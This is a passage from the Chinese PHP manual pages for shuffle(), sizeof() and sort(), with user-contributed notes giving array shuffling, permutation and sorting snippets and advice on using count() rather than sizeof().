    $array = array_values($array);

    $result = [];
    $skip_indexes = [];

    $sizeof_array = count($array);

    for ( $i = 0; $i < $sizeof_array; $i++ )
    {
        do
        {
            $random_index = random_int(0, $sizeof_array);
        } while ( in_array($random_index, $skip_indexes) );

        $skip_indexes[] = $random_index;
        $result[] = $array[$random_index];
    }

    return $result;
}
?>
xzero at elite7hackers dot net 30-May-2015 01:09
There is an function which uses native shuffle() but preserves keys, and their order, so at end, only values are shuffled.

<?PHP
/**
 * Array Quake - Give an array good quake so every value will endup with random given space.
 * Keys, and their order are preserved.
 * @author xZero <xzero@elite7hackers.net>
 * @param array $array
 * @return boolean false on failure
 */
function array_quake(&$array) {
    if (is_array($array)) {
        $keys = array_keys($array); // We need this to preserve keys
        $temp = $array;
        $array = NULL;
        shuffle($temp); // Array shuffle
        foreach ($temp as $k => $item) {
            $array[$keys[$k]] = $item;
        }
        return;
    }
    return false;
}

// Example
$numbers = array(
    'ZERO' => 0,
    'ONE' => 1,
    'TWO' => 2,
    'THREE' => 3,
    'FOUR' => 4,
    'FIVE' => 5,
    'SIX' => 6,
    'SEVEN' => 7,
    'EIGHT' => 8,
    'NINE' => 9
);
echo "\nBefore (original):\n";
print_r($numbers);
array_quake($numbers);
echo "\n\nAfter (Array Quake);\n";
print_r($numbers);
echo "\n";
?>

Result example:
Before (original):
Array
(
    [ZERO] => 0
    [ONE] => 1
    [TWO] => 2
    [THREE] => 3
    [FOUR] => 4
    [FIVE] => 5
    [SIX] => 6
    [SEVEN] => 7
    [EIGHT] => 8
    [NINE] => 9
)

After (Array Quake);
Array
(
    [ZERO] => 4
    [ONE] => 2
    [TWO] => 0
    [THREE] => 8
    [FOUR] => 3
    [FIVE] => 6
    [SIX] => 1
    [SEVEN] => 7
    [EIGHT] => 5
    [NINE] => 9
)
peter at removethisplease dot ddcrew dot com 02-Dec-2013 01:55
This seems to do reasonably well as a shuffle() that preserves index assocation:

<?php
function ashuffle (&$arr) {
    uasort($arr, function ($a, $b) {
        return rand(-1, 1);
    });
}
?>

Obviously only works if PHP has closures enabled...
Eric Anderson 29-Mar-2011 09:33
Copy and paste this script and refresh the page to see the shuffling effect.

<?php
    /**
    * Shuffles and displays cards in a deck
    * @author:     Eric Anderson
    * @filename:   deckofcards.php
    */

    // Create an array of face values
    // and an array of card values
    // then merge them together
    $cards = array_merge(array("J", "Q", "K", "A"), range(2,10)); // 13 cards

    // Shuffle the cards
    shuffle($cards);

    // Create an multidimentional array to hold the 4 suits
    $suits = array(
        'Heart' => array(),
        'Spade' => array(),
        'Diamond' => array(),
        'Club' => array()
        );

    // Add cards to their respective suits
    for($i = 0; $i < count($suits); $i++)
    {
        for($j = 0; $j < count($cards); $j++)
        {
            $suits['Heart'][$j] = $cards[$j]."<span style=color:#FF0000;>&hearts;</span>";
            $suits['Spade'][$j] = $cards[$j]."&spades;";
            $suits['Diamond'][$j] = $cards[$j]."<span style=color:#FF0000;>&diams;</span>";
            $suits['Club'][$j] = $cards[$j]."&clubs;";
        }
    }

    // Create a deck
    $deck = array();

    // Merge the suits into the empty deck array
    $deck = array_merge($deck, $suits);

    // Display the deck to the screen
    echo "<p><b>Deck of cards:</b></p>";
    foreach($deck as $k1 => $v1)
    {
        // Display suit name
        echo "<p>&emsp;$k1's<br />&emsp;{<br />&emsp;&emsp;";
        $acc = 0;

        // Display card value
        foreach($v1 as $k2 => $v2)
        {
            echo "$v2&nbsp";
            $acc++;

            if ($acc == 4)
            {
                echo "<br />&emsp;&emsp;";
                $acc = 0;
            }
        }
        echo "<br />&emsp;}</p>";
    }
?>
andjones at gmail dot com 26-Aug-2010 09:35
Shuffle associative and non-associative array while preserving key, value pairs. Also returns the shuffled array instead of shuffling it in place.

<?php

function shuffle_assoc($list) {
  if (!is_array($list)) return $list;

  $keys = array_keys($list);
  shuffle($keys);
  $random = array();
  foreach ($keys as $key)
    $random[$key] = $list[$key];

  return $random;
}

?>
ezakto at ezakto dot com 24-Jul-2010 11:13
This is a replica of shuffle() but preserving keys (associative and non-associative)

bool kshuffle  (  array &$array  )

<?php

function kshuffle(&$array) {
    if(!is_array($array) || empty($array)) {
        return false;
    }
    $tmp = array();
    foreach($array as $key => $value) {
        $tmp[] = array('k' => $key, 'v' => $value);
    }
    shuffle($tmp);
    $array = array();
    foreach($tmp as $entry) {
        $array[$entry['k']] = $entry['v'];
    }
    return true;
}

$array = array('first' => 0, 'second' => 1, 'third' => 2);
kshuffle($array);
print_r($array); // [second] => 1 [first] => 0 [third] => 2

$array = array('first', 'second', 'third');
kshuffle($array);
print_r($array); // [1] => second [2] => third [0] => first

?>
rick at suggestive dot com 24-Mar-2010 02:19
Many people in SEO need to supply an array and shuffle the results and need the same result each time that page is generated. This is my implementation with a working example:

<?php
function seoShuffle(&$items,$string) {
    mt_srand(strlen($string));
    for ($i = count($items) - 1; $i > 0; $i--){
        $j = @mt_rand(0, $i);
        $tmp = $items[$i];
        $items[$i] = $items[$j];
        $items[$j] = $tmp;
    }
}

$items = array('one','two','three','four','five','six');
$string = 'whatever';

echo '<pre>';
print_r($items);
echo '</pre>';

seoShuffle($items,$string);

echo '<pre>';
print_r($items);
echo '</pre>';
?>
tyler at CompLangs dot com 01-Jan-2010 06:59
Here is a quick function I wrote that generates a random password and uses shuffle() to easily shuffle the order.

<?php
public function randPass($upper = 3, $lower = 3, $numeric = 3, $other = 2) {
    //we need these vars to create a password string
    $passOrder = Array();
    $passWord = '';

    //generate the contents of the password
    for ($i = 0; $i < $upper; $i++) {
        $passOrder[] = chr(rand(65, 90));
    }
    for ($i = 0; $i < $lower; $i++) {
        $passOrder[] = chr(rand(97, 122));
    }
    for ($i = 0; $i < $numeric; $i++) {
        $passOrder[] = chr(rand(48, 57));
    }
    for ($i = 0; $i < $other; $i++) {
        $passOrder[] = chr(rand(33, 47));
    }

    //randomize the order of characters
    shuffle($passOrder);

    //concatenate into a string
    foreach ($passOrder as $char) {
        $passWord .= $char;
    }

    //we're done
    return $passWord;
}
?>
ahmad at ahmadnassri dot com 18-Nov-2009 08:58
shuffle for associative arrays, preserves key=>value pairs.
(Based on (Vladimir Kornea of typetango.com)'s function)

<?php
    function shuffle_assoc(&$array) {
        $keys = array_keys($array);

        shuffle($keys);

        foreach($keys as $key) {
            $new[$key] = $array[$key];
        }

        $array = $new;

        return true;
    }
?>

*note: as of PHP 5.2.10, array_rand's resulting array of keys is no longer shuffled, so we use array_keys + shuffle.
Anonymous 28-Aug-2009 09:18
I needed a simple function two shuffle a two dimensional array. Please note the second level arrays must be indexed using integers, for example $myarray[0]["Name"] and not $myarray["One"]["Name"]. Here is the function:

<?php
function twodshuffle($array)
{
    // Get array length
    $count = count($array);
    // Create a range of indicies
    $indi = range(0,$count-1);
    // Randomize indicies array
    shuffle($indi);
    // Initialize new array
    $newarray = array($count);
    // Holds current index
    $i = 0;
    // Shuffle multidimensional array
    foreach ($indi as $index)
    {
        $newarray[$i] = $array[$index];
        $i++;
    }
    return $newarray;
}
?>

Please note it only works on two dimensional arrays. Here is an example:

<?php
$myarray = array("Google" => array("Name" => "Google", "URL" => "www.google.com", "Usage" => "Googling"), "Yahoo" => array("Name" => "Yahoo", "URL" => "www.yahoo.com", "Usage" => "Yahooing?"), "Ask" => array("Name" => "Ask", "URL" => "www.ask.com", "Usage" => "Asking Jeeves"));

print_r(twodshuffle($myarray));

/* And the result is:
Array ( [0] => Array ( [Name] => Ask [URL] => www.ask.com [Usage] => Asking Jeeves ) [1] => Array ( [Name] => Google [URL] => www.google.com [Usage] => Googling ) [2] => Array ( [Name] => Yahoo [URL] => www.yahoo.com [Usage] => Yahooing? ) )
*/
?>

Hope you find it useful!
aalaap at gmail dot com 08-Jun-2009 05:12
I've been wondering why shuffle() doesn't provide the shuffled array as a return value instead of a bool. I mean, what could possibly go wrong in shuffling elements from an array?

So I use something like this:

<?php
function array_shuffle($array) {
    if (shuffle($array)) {
        return $array;
    } else {
        return FALSE;
    }
}
?>
sivaji2009 at gmail dot com 17-May-2009 02:07
Here i wrote a custom shuffle function which preserves the array index and distributes the array element randomly.

<?php

/*
 * return an array whose elements are shuffled in random order.
 */
function custom_shuffle($my_array = array()) {
  $copy = array();
  while (count($my_array)) {
    // takes a rand array elements by its key
    $element = array_rand($my_array);
    // assign the array and its value to an another array
    $copy[$element] = $my_array[$element];
    //delete the element from source array
    unset($my_array[$element]);
  }
  return $copy;
}

$array = array(
  'a' => 'apple',
  'b' => 'ball',
  'c' => 'cat',
  'd' => 'dog',
  'e' => 'egg',
  'f' => 'fan',
  'g' => 'gun'
);

print_r(custom_shuffle($array));

Array
(
    [c] => cat
    [e] => egg
    [f] => fan
    [a] => apple
    [b] => ball
    [g] => gun
    [d] => dog
)

?>
dirk dot avery a t gmail 30-Apr-2009 08:58
Building on examples by m227 and pineappleclock, here is a function that returns all permutations of each set in the power set of an array of strings (instead of a string).  Thanks for the great examples!

<?php

/*
 Use: $arr = power_perms($in);

 Example:
  $in = array("A","B","C");
  $power_perms = power_perms($in);

 Returns:
  Array
  (
    [0] => Array
        (
            [0] => A
            [1] => B
            [2] => C
        )

    [1] => Array
        (
            [0] => A
            [1] => C
            [2] => B
        )

    [2] => Array
        (
            [0] => B
            [1] => A
            [2] => C
        )

    [3] => Array
        (
            [0] => B
            [1] => C
            [2] => A
        )

    [4] => Array
        (
            [0] => C
            [1] => A
            [2] => B
        )

    [5] => Array
        (
            [0] => C
            [1] => B
            [2] => A
        )

    [6] => Array
        (
            [0] => A
            [1] => B
        )

    [7] => Array
        (
            [0] => B
            [1] => A
        )

    [8] => Array
        (
            [0] => B
            [1] => C
        )

    [9] => Array
        (
            [0] => C
            [1] => B
        )

    [10] => Array
        (
            [0] => A
            [1] => C
        )

    [11] => Array
        (
            [0] => C
            [1] => A
        )

    [12] => Array
        (
            [0] => A
        )

    [13] => Array
        (
            [0] => B
        )

    [14] => Array
        (
            [0] => C
        )

  )

*/

function power_perms($arr) {

    $power_set = power_set($arr);
    $result = array();
    foreach($power_set as $set) {
        $perms = perms($set);
        $result = array_merge($result,$perms);
    }
    return $result;
}

function power_set($in,$minLength = 1) {

   $count = count($in);
   $members = pow(2,$count);
   $return = array();
   for ($i = 0; $i < $members; $i++) {
      $b = sprintf("%0".$count."b",$i);
      $out = array();
      for ($j = 0; $j < $count; $j++) {
         if ($b{$j} == '1') $out[] = $in[$j];
      }
      if (count($out) >= $minLength) {
         $return[] = $out;
      }
   }

   //usort($return,"cmp");  //can sort here by length
   return $return;
}

function factorial($int){
   if($int < 2) {
       return 1;
   }

   for($f = 2; $int-1 > 1; $f *= $int--);

   return $f;
}

function perm($arr, $nth = null) {

    if ($nth === null) {
        return perms($arr);
    }

    $result = array();
    $length = count($arr);

    while ($length--) {
        $f = factorial($length);
        $p = floor($nth / $f);
        $result[] = $arr[$p];
        array_delete_by_key($arr, $p);
        $nth -= $p * $f;
    }

    $result = array_merge($result,$arr);
    return $result;
}

function perms($arr) {
    $p = array();
    for ($i=0; $i < factorial(count($arr)); $i++) {
        $p[] = perm($arr, $i);
    }
    return $p;
}

function array_delete_by_key(&$array, $delete_key, $use_old_keys = FALSE) {

    unset($array[$delete_key]);

    if(!$use_old_keys) {
        $array = array_values($array);
    }

    return TRUE;
}
?>
pineappleclock at gmail dot com 22-Jan-2009 10:06
If you want the Power Set (set of all unique subsets) of an array instead of permutations, you can use this simple algorithm:

<?php
/**
* Returns the power set of a one dimensional array,
* a 2-D array.
* array(a,b,c) ->
* array(array(a),array(b),array(c),array(a,b),array(b,c),array(a,b,c))
*/
function powerSet($in,$minLength = 1) {
   $count = count($in);
   $members = pow(2,$count);
   $return = array();
   for ($i = 0; $i < $members; $i++) {
      $b = sprintf("%0".$count."b",$i);
      $out = array();
      for ($j = 0; $j < $count; $j++) {
         if ($b{$j} == '1') $out[] = $in[$j];
      }
      if (count($out) >= $minLength) {
         $return[] = $out;
      }
   }
   return $return;
}
?>
tony at brokerbin dot com 11-Nov-2008 07:26
Here is IMO the simplest and extremely fast way to shuffle an associative array AND keep the key=>value relationship.  However, it ONLY works if there are NO NUMERIC keys AT ALL.  Look into array_merge for the reason why.

<?php

$unshuffled = array('one'=>1,'two'=>2,'three'=>3);

$shuffled = array_merge( array_flip(array_rand($unshuffled,count($unshuffled))),$unshuffled );

?>

peace
Antonio Ognio 06-May-2008 09:42
Another shuffle() implementation that preserves keys, does not use extra memory and perhaps is a bit easier to grasp.

<?php
if (function_exists('shuffle_with_keys')===false) {
  function shuffle_with_keys(&$array) {
    /* Auxiliary array to hold the new order */
    $aux = array();
    /* We work with an array of the keys */
    $keys = array_keys($array);
    /* We shuffle the keys */
    shuffle($keys);
    /* We iterate thru' the new order of the keys */
    foreach($keys as $key) {
      /* We insert the key, value pair in its new order */
      $aux[$key] = $array[$key];
      /* We remove the element from the old array to save memory */
      unset($array[$key]);
    }
    /* The auxiliary array with the new order overwrites the old variable */
    $array = $aux;
  }
}
?>


count 的别名

  • ? shuffle
  • sort ?
  • PHP Manual
  • 数组 函数
  • count 的别名

sizeof

(PHP 4, PHP 5, PHP 7, PHP 8)

sizeof — count() 的别名

说明

此函数是该函数的别名：count()。

User Contributed Notes

chris at amis dot nl 02-Sep-2013 09:15
I would recommend not using sizeof(). Many programmers expect sizeof() to return the amount of memory allocated. Instead sizeof() -as described above- is an alias for count().

Prevent misinterpretation and use count() instead.
umopdn [at] msn [dawt] com 23-Sep-2008 02:38
a) Always try and use PHP's internal routines to iterate through objects of various types (arrays in most examples below).

Instead of interpreting your code to loop through them, they use their own internal routines which are much faster.

(This is why foreach () will run faster than manual interation)

b) It is _always_ good practice to leave as many static resulting functions outside of loops, having operations that return the exact same piece of data every iteration of the loop is not pretty on resources.

c) I agree with PixEye's remarks on sizeof().  In PHP it is just an alias for the true function count().  It has other meanings logically in other languages rather than the number of elements in an object.  This should be avoided as it may confuse developers transitioning to PHP from other languages.
PixEye 23-Sep-2008 09:09
I am quite surprised about previous posts. Here are my advices:

1/ prefer the count() function instead of sizeOf() as sizeOf() is only an alias of count() and does not mean the same in many other languages based on C (avoid ambiguity).

2/ prefer the powerful forEach() function to iterate over arrays.
communiti.ch 10-Apr-2008 06:55
If your array is "huge"

It is reccomended to set a variable first for this case:

THIS->

$max = sizeof($huge_array);
for($i = 0; $i < $max;$i++)
{
code...
}

IS QUICKER THEN->

for($i = 0; $i < sizeof($huge_array);$i++)
{
code...
}


对数组升序排序

  • ? sizeof
  • uasort ?
  • PHP Manual
  • 数组 函数
  • 对数组升序排序

sort

(PHP 4, PHP 5, PHP 7, PHP 8)

sort — 对数组升序排序

说明

sort(array &$array, int $flags = SORT_REGULAR): true

对 array 本身按照值（value）升序排序。

Note:

如果两个成员完全相同，那么它们将保持原来的顺序。 在 PHP 8.0.0 之前，它们在排序数组中的相对顺序是未定义的。

Note: 此函数为 array 中的元素赋与新的键名。这将删除原有的键名，而不是仅仅将键名重新排序。

Note:

重置数组中的内部指针，指向第一个元素。

参数

array

输入的数组。

flags

可选的第二个参数 flags 可以用以下值改变排序的行为：

排序类型标记：

  • SORT_REGULAR - 正常比较单元 详细描述参见 比较运算符 章节
  • SORT_NUMERIC - 单元被作为数字来比较
  • SORT_STRING - 单元被作为字符串来比较
  • SORT_LOCALE_STRING - 根据当前的区域（locale）设置来把单元当作字符串比较，可以用 setlocale() 来改变。
  • SORT_NATURAL - 和 natsort() 类似对每个单元以"自然的顺序"对字符串进行排序。
  • SORT_FLAG_CASE - 能够与 SORT_STRING 或 SORT_NATURAL 合并（OR 位运算），不区分大小写排序字符串。

返回值

总是返回 true。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。

示例

Example #1 sort() 示例

<?php

$fruits = array("lemon", "orange", "banana", "apple");
sort($fruits);
foreach ($fruits as $key => $val) {
echo "fruits[" . $key . "] = " . $val . "\n";
}

?>

以上示例会输出：

fruits[0] = apple
fruits[1] = banana
fruits[2] = lemon
fruits[3] = orange

fruits 被按照字母顺序排序。

Example #2 使用 sort() 不区分大小写自然排序的示例

<?php

$fruits = array(
"Orange1", "orange2", "Orange3", "orange20"
);
sort($fruits, SORT_NATURAL | SORT_FLAG_CASE);
foreach ($fruits as $key => $val) {
echo "fruits[" . $key . "] = " . $val . "\n";
}

?>

以上示例会输出：

fruits[0] = Orange1
fruits[1] = orange2
fruits[2] = Orange3
fruits[3] = orange20

fruits 排序得像 natcasesort() 的结果。

注释

Note: 和大多数 PHP 排序函数一样，sort() 使用了 » 快速排序 实现的。 在已排序的数组分片的中间，选择基准值，具有最优时间。但不应该依赖它实现的细节。

Warning

在对含有混合类型值的数组以 flags 为 SORT_REGULAR 排序时要小心，因为 sort() 可能会产生不可预知的结果。

参见

  • rsort() - 对数组降序排序
  • 数组排序函数对比

User Contributed Notes

aminkhoshzahmat at gmail dot com 01-Jun-2020 07:02
Let's say we have a list of names, and it is not sorted.

<?php

$names = array('Amin', 'amir', 'sarah', 'Somayeh', 'armita', 'Armin');

sort($names); // simple alphabetical sort
print_r($names);
?>
Result is :
Array
(
    [0] => Amin
    [1] => Armin
    [2] => Somayeh // actually it's not sort alphabetically from here!
    [3] => amir         // comparison is based on ASCII values.
    [4] => armita
    [5] => sarah
)

If you want to sort alphabeticaly no matter it is upper or lower case:

<?php

sort($names, SORT_STRING | SORT_FLAG_CASE);
print_r($names);
?>

Result is:
Array
(
    [0] => Amin
    [1] => amir
    [2] => Armin
    [3] => armita
    [4] => sarah
    [5] => Somayeh
)
Md. Abutaleb 25-Feb-2020 12:28
<?php
/*
As I found the sort() function normally works as ascending order based on the following priority :
1. NULL
2. Empty
3. Boolean FALSE
4. String
5. Float
6. Int
7. Array
8. Object

Consider the following array:
*/

$a = ['fruit'=> 'apple', 'A' => 10, 20, 5, 2.5, 5=>'A new value', 'last' => 'value', TRUE, NULL, "", FALSE, array(), new StdClass];
sort($a);
var_dump($a);

#The output is:

array(13) {
  [0]=>NULL
  [1]=> string(0) ""
  [2]=>bool(false)
  [3]=>string(11) "A new value"
  [4]=>string(5) "apple"
  [5]=>string(5) "value"
  [6]=> float(2.5)
  [7]=> int(5)
  [8]=>int(10)
  [9]=>int(20)
  [10]=>array(0) { }
  [11]=> bool(true)
  [12]=>object(stdClass)#1 (0) {}
}

//Hope it will remove your confusion when you're sorting an array with mix type data.
?>
r at rcse dot de 23-Dec-2018 10:15
Here is no word about sorting UTF-8 strings by any collation. This should not be so uncommon?
Abhishek Banerjee 08-Jun-2016 07:39
EDIT: To the original note by "phpdotnet at m4tt dot co dot uk"
Use array_push instead of $new_array[$k] for some reason it was
giving me string indexes.

Simple function to sort an array by a specific key. Maintains index association.

<?php

function array_sort($array, $on, $order=SORT_ASC)
{
    $new_array = array();
    $sortable_array = array();

    if (count($array) > 0) {
        foreach ($array as $k => $v) {
            if (is_array($v)) {
                foreach ($v as $k2 => $v2) {
                    if ($k2 == $on) {
                        $sortable_array[$k] = $v2;
                    }
                }
            } else {
                $sortable_array[$k] = $v;
            }
        }

        switch ($order) {
            case SORT_ASC:
                asort($sortable_array);
            break;
            case SORT_DESC:
                arsort($sortable_array);
            break;
        }

        foreach ($sortable_array as $k => $v) {
            array_push($new_array, $array[$k]);
        }
    }

    return $new_array;
}

$people = array(
    12345 => array(
        'id' => 12345,
        'first_name' => 'Joe',
        'surname' => 'Bloggs',
        'age' => 23,
        'sex' => 'm'
    ),
    12346 => array(
        'id' => 12346,
        'first_name' => 'Adam',
        'surname' => 'Smith',
        'age' => 18,
        'sex' => 'm'
    ),
    12347 => array(
        'id' => 12347,
        'first_name' => 'Amy',
        'surname' => 'Jones',
        'age' => 21,
        'sex' => 'f'
    )
);

print_r(array_sort($people, 'age', SORT_DESC)); // Sort by oldest first
print_r(array_sort($people, 'surname', SORT_ASC)); // Sort by surname

/*
Array
(
    [12345] => Array
        (
            [id] => 12345
            [first_name] => Joe
            [surname] => Bloggs
            [age] => 23
            [sex] => m
        )

    [12347] => Array
        (
            [id] => 12347
            [first_name] => Amy
            [surname] => Jones
            [age] => 21
            [sex] => f
        )

    [12346] => Array
        (
            [id] => 12346
            [first_name] => Adam
            [surname] => Smith
            [age] => 18
            [sex] => m
        )

)
Array
(
    [12345] => Array
        (
            [id] => 12345
            [first_name] => Joe
            [surname] => Bloggs
            [age] => 23
            [sex] => m
        )

    [12347] => Array
        (
            [id] => 12347
            [first_name] => Amy
            [surname] => Jones
            [age] => 21
            [sex] => f
        )

    [12346] => Array
        (
            [id] => 12346
            [first_name] => Adam
            [surname] => Smith
            [age] => 18
            [sex] => m
        )

)
*/

?>
aditycse at gmail dot com 07-Aug-2015 10:34
/*
 * Name : Aditya Mehrotra
 * Email: aditycse@gmail.com
 */
//Example for sorting by values for an alphanumeric array also having case-sensitive data
$exampleArray1 = $exampleArray2 = array(
    0 => 'example1',
    1 => 'Example10',
    2 => 'example12',
    3 => 'Example2',
    4 => 'example3',
    5 => 'EXAMPLE10',
    6 => 'example10'
);

//default sorting
asort($exampleArray1);

// alphanumeric with case-sensitive data sorting by values
asort($exampleArray2, SORT_STRING | SORT_FLAG_CASE | SORT_NATURAL);

//output of defaut sorting
print_r($exampleArray1);
/*
 * output of default sorting
  Array
  (
  [5] => EXAMPLE10
  [1] => Example10
  [3] => Example2
  [0] => example1
  [6] => example10
  [2] => example12
  [4] => example3
  )
 */

print_r($exampleArray2);
/*
 * output of alphanumeric with case-sensitive data sorting by values
 Array
(
    [0] => example1
    [3] => Example2
    [4] => example3
    [5] => EXAMPLE10
    [1] => Example10
    [6] => example10
    [2] => example12
)
 */
williamprogphp at[pleaseNOTSPAM] yahoo d 20-Dec-2013 12:15
In order to make some multidimensional quick sort implementation, take advantage of this stuff

<?php
        function quickSortMultiDimensional($array, $chave) {
            if( count( $array ) < 2 ) {
                return $array;
            }
            $left = $right = array( );
            reset( $array );
            $pivot_key    = key( $array );
            $pivot    = array_shift( $array );
            foreach( $array as $k => $v ) {
                if( $v[$chave] < $pivot[$chave] )
                        $left[$k][$chave] = $v[$chave];
                else
                        $right[$k][$chave] = $v[$chave];
            }
            return array_merge(
                                    quickSortMultiDimensional($left, $chave),
                                    array($pivot_key => $pivot),
                                    quickSortMultiDimensional($right, $chave)
            );
        }
?>

I make it using the idea from pageconfig dot com

tks for viewing
me[ at ]szczepan[ dot ]info 27-Dec-2012 12:36
Sorting the keys, but keep the values in order is not possible by just ordering, because it would result in a new array. This is also the solution: Create a new array

<?php
$a = array(9=>"a",8=>"c",5=>"d");

$keys = array_keys($a);
sort($keys);
$result = array_combine($keys, array_values($a));

//Result : array(5=>"a",8=>"c",9=>"d");
?>
Walter Tross 16-Dec-2011 02:38
unless you specify the second argument, "regular" comparisons will be used. I quote from the page on comparison operators:
"If you compare a number with a string or the comparison involves numerical strings, then each string is converted to a number and the comparison performed numerically."
What this means is that "10" < "1a", and "1a" < "2", but "10" > "2". In other words, regular PHP string comparisons are not transitive.
This implies that the output of sort() can in rare cases depend on the order of the input array:
<?php
function echo_sorted($a)
{
   echo "{$a[0]} {$a[1]} {$a[2]}";
   sort($a);
   echo " => {$a[0]} {$a[1]} {$a[2]}\n";
}
// on PHP 5.2.6:
echo_sorted(array( "10", "1a", "2")); // => 10 1a 2
echo_sorted(array( "10", "2", "1a")); // => 1a 2 10
echo_sorted(array( "1a", "10", "2")); // => 2 10 1a
echo_sorted(array( "1a", "2", "10")); // => 1a 2 10
echo_sorted(array( "2", "10", "1a")); // => 2 10 1a
echo_sorted(array( "2", "1a", "10")); // => 10 1a 2
?>
ajanata at gmail dot com 20-Oct-2011 09:13
This took me longer than it should have to figure out, but if you want the behavior of sort($array, SORT_STRING) (that is, re-indexing the array unlike natcasesort) in a case-insensitive manner, it is a simple matter of doing usort($array, strcasecmp).
alex dot hristov dot 88 at gmail dot com 16-Jun-2011 07:26
As some people have mentioned before sorting a multidimentional array can be a bit tricky. it took me quite a while to get it going but it works as a charm:

<?php
//$order has to be either asc or desc
 function sortmulti ($array, $index, $order, $natsort=FALSE, $case_sensitive=FALSE) {
        if(is_array($array) && count($array)>0) {
            foreach(array_keys($array) as $key)
            $temp[$key]=$array[$key][$index];
            if(!$natsort) {
                if ($order=='asc')
                    asort($temp);
                else
                    arsort($temp);
            }
            else
            {
                if ($case_sensitive===true)
                    natsort($temp);
                else
                    natcasesort($temp);
            if($order!='asc')
                $temp=array_reverse($temp,TRUE);
            }
            foreach(array_keys($temp) as $key)
                if (is_numeric($key))
                    $sorted[]=$array[$key];
                else
                    $sorted[$key]=$array[$key];
            return $sorted;
        }
    return $sorted;
}
?>
cmarshall at gmx dot de 17-May-2011 03:10
I read up on various problems re: sort() and German Umlaut chars and my head was soon spinning - bug in sort() or not, solution via locale or not, etc. ... (a total newbie here).

The obvious solution for me was quick and dirty: transform the Umlaut chars (present as HTML codes in my case) to their normal equivalent ('?' = 'ae', '?' = 'oe', 'ü' = 'ue', '?' = 'ss' etc.), sort the array, then transform back. However there are cases in which a 'Mueller' is really that and does NOT need to be transformed into 'Müller' afterwards. Hence I for example replace the Umlaut itself with it's normal equivalent plus a char not used in the string otherwise (e.g. '_') so that the transfer back to Umlaut would only take place on certain combinations.

Of course any other char instead of '_' can be used as additional char (influencing the sort result). I know that my solution is rough at the edges and may cause other sort problems but it was sufficient for my purpose.

The array '$dat' in this example was filled with German town names (I actually worked with a multiple array ('$dat[][]') but stripped the code down to this as it's easier to understand):

<?php
// START Pre-sorting (Umlaut -> normal letters)
$max = count($dat);
for($totcnt = 0; $totcnt < $max; $totcnt++){
   $dat[$totcnt]=str_replace('&szlig;','ss_',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('&Auml;','Ae_',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('&auml;','ae_',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('&Ouml;','Oe_',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('&ouml;','oe_',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('&Uuml;','Ue_',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('&uuml;','ue_',$dat[$totcnt]);
}
// END Pre-sorting (Umlaut -> normal letters)

// START Sorting //
function compare_towns($a, $b)
{
return strnatcmp($a, $b);
}
usort($dat, 'compare_towns');
// END Sorting //

// START Post-sorting (normal letters -> Umlaut)
for($totcnt = 0; $totcnt < $max; $totcnt++){
   $dat[$totcnt]=str_replace('ss_','&szlig;',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('Ae_','&Auml;',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('ae_','&auml;',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('Oe_','&Ouml;',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('oe_','&ouml;',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('Ue_','&Uuml;',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('ue_','&uuml;',$dat[$totcnt]);
}
// END Post-sorting (normal letters -> Umlaut)
?>
anaz114119 at gmail dot com 24-Dec-2010 02:34
sort from textfile by coloumn
example name||date||time||comments
if you want to sort by date
$column = 2
<?php
function array_sort($array,$column){
 $column = $column-1;
 foreach($array as $line){
 $bits = explode("||",$line);
 $bits ="$bits[$column]**$line";
 $array1[]=$bits;
}
 asort($array1);
 foreach($array1 as $line){
 $bit = explode("**",$line);
 $bit ="$bit[1]";
 $array2[]=$bit;
}
 return$array2;
}
?>
poulou_0 at hotmail dot com 21-Dec-2010 12:59
if you are not interested in high or low case sort

<?php
//where
$sortable_array[$k] = $v2;
//put
$sortable_array[$k] = strtolower($v2);

//and where
$sortable_array[$k] = $v;
//put
$sortable_array[$k] = strtolower($v);
?>
phpdotnet at m4tt dot co dot uk 16-Aug-2010 07:03
Simple function to sort an array by a specific key. Maintains index association.

<?php

function array_sort($array, $on, $order=SORT_ASC)
{
    $new_array = array();
    $sortable_array = array();

    if (count($array) > 0) {
        foreach ($array as $k => $v) {
            if (is_array($v)) {
                foreach ($v as $k2 => $v2) {
                    if ($k2 == $on) {
                        $sortable_array[$k] = $v2;
                    }
                }
            } else {
                $sortable_array[$k] = $v;
            }
        }

        switch ($order) {
            case SORT_ASC:
                asort($sortable_array);
            break;
            case SORT_DESC:
                arsort($sortable_array);
            break;
        }

        foreach ($sortable_array as $k => $v) {
            $new_array[$k] = $array[$k];
        }
    }

    return $new_array;
}

$people = array(
    12345 => array(
        'id' => 12345,
        'first_name' => 'Joe',
        'surname' => 'Bloggs',
        'age' => 23,
        'sex' => 'm'
    ),
    12346 => array(
        'id' => 12346,
        'first_name' => 'Adam',
        'surname' => 'Smith',
        'age' => 18,
        'sex' => 'm'
    ),
    12347 => array(
        'id' => 12347,
        'first_name' => 'Amy',
        'surname' => 'Jones',
        'age' => 21,
        'sex' => 'f'
    )
);

print_r(array_sort($people, 'age', SORT_DESC)); // Sort by oldest first
print_r(array_sort($people, 'surname', SORT_ASC)); // Sort by surname

/*
Array
(
    [12345] => Array
        (
            [id] => 12345
            [first_name] => Joe
            [surname] => Bloggs
            [age] => 23
            [sex] => m
        )

    [12347] => Array
        (
            [id] => 12347
            [first_name] => Amy
            [surname] => Jones
            [age] => 21
            [sex] => f
        )

    [12346] => Array
        (
            [id] => 12346
            [first_name] => Adam
            [surname] => Smith
            [age] => 18
            [sex] => m
        )

)
Array
(
    [12345] => Array
        (
            [id] => 12345
            [first_name] => Joe
            [surname] => Bloggs
            [age] => 23
            [sex] => m
        )

    [12347] => Array
        (
            [id] => 12347
            [first_name] => Amy
            [surname] => Jones
            [age] => 21
            [sex] => f
        )

    [12346] => Array
        (
            [id] => 12346
            [first_name] => Adam
            [surname] => Smith
            [age] => 18
            [sex] => m
        )

)
*/

?>
eriewave at hotmail dot com 29-Mar-2010 01:16
